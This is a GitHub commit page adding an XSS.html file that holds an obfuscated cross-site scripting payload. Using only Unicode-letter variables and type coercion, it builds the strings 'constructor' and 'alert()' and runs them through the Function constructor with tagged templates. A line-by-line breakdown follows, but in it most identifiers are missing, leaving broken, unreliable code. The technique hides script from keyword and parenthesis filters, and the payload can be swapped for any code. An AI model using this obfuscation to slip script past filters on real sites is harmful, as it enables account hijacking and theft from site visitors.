Skip to content

Commit 47b6e46

Browse files
Add files via upload
0 parents  commit 47b6e46

File tree

1 file changed

+53
-0
lines changed

1 file changed

+53
-0
lines changed

XSS.html

+53
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
<script>
2+
/*
3+
〱='',〳=〱,ᘓ=〱+{},ᘒ=〱+[][[]],〱+=[〱==〱],〳+=[!〱],ᘑ=+[],ᘐ=+!+[],ᘔ=ᘐ+ᘐ,ᘕ=ᘔ+ᘐ,ᘖ=ᘔ+ᘕ,ᘖ+=ᘖ+ᘖ+ᘔ,ᘗ=ᘖ+ᘐ,ᘘ=ᘓ[ᘔ+ᘕ],ᘙ=ᘓ[ᘐ],ᘚ=〱[ᘐ],ᘲ=〱[ᘑ],ᘳ=ᘘ+ᘙ+ᘒ[ᘐ]+〳[ᘕ]+ᘲ+ᘚ+ᘒ[ᘑ]+ᘘ+ᘲ+ᘙ+〱[ᘐ],ᘰ=[][ᘳ][ᘳ],ᘏ=''+ᘰ,ᘎ=〳[ᘐ]+〳[ᘔ]+〱[ᘕ]+ᘚ+ᘲ+ᘏ[ᘖ]+ᘏ[ᘗ],ᘰ`ᘳ${ᘎ}```
4+
*/
5+
6+
7+
=''
8+
= //''
9+
=+{} //'[object Object]' <- '' + [object Object]
10+
=+[][[]] //'undefined' <- '' + undefined
11+
+=[==] //'true' <- Array from true
12+
+=[!] //'false' <- Array from !true
13+
=+[] //0
14+
=+!+[] //1
15+
=+ //2 <- 1+1
16+
=+ //3 <- 2+1
17+
=+ //5 <- 2+2+1
18+
+=++ //17 <- 5+5+5+2
19+
=+ //18 <- 17+1
20+
21+
//letters that are used more than once defined seperately to shorten payload
22+
=[+] //c <- '[object Object]'[5]
23+
=[] //o <- '[object Object]'[1]
24+
=[] //r <- 'true'[1]
25+
=[] //t <- 'true'[0]
26+
27+
= //constructor
28+
+ //c <- '[object Object]'[5]
29+
+ //o <- '[object Object]'[1]
30+
[]+ //n <- 'undefined'[1]
31+
[]+ //s <- 'false'[3]
32+
+ //t <- 'true'[0]
33+
+ //r <- 'true'[1]
34+
[]+ //u <- 'undefined'[0]
35+
+ //c <- '[object Object]'[5]
36+
+ //t <- 'true'[0]
37+
+ //o <- '[object Object]'[1]
38+
[] //r <- 'true'[1]
39+
40+
= [][][] //Function <- []["constructor"]["constructor"]
41+
=''+ //'function Function() { [native code] }'
42+
43+
= //alert
44+
[]+ //a <- 'false'[1]
45+
[]+ //l <- 'false'[2]
46+
[]+ //e <- 'true[4]
47+
+ //r <- 'true'[1]
48+
+ //t <- 'true'[0]
49+
[]+ //( <- 'function Function() { [native code] }'[17]
50+
[] //) <- 'function Function() { [native code] }'[18]
51+
52+
`ᘳ${}` `` //alert() <- []["constructor"]["constructor"]`ᘳ${"alert()"}` ``
53+
</script>

0 commit comments

Comments
 (0)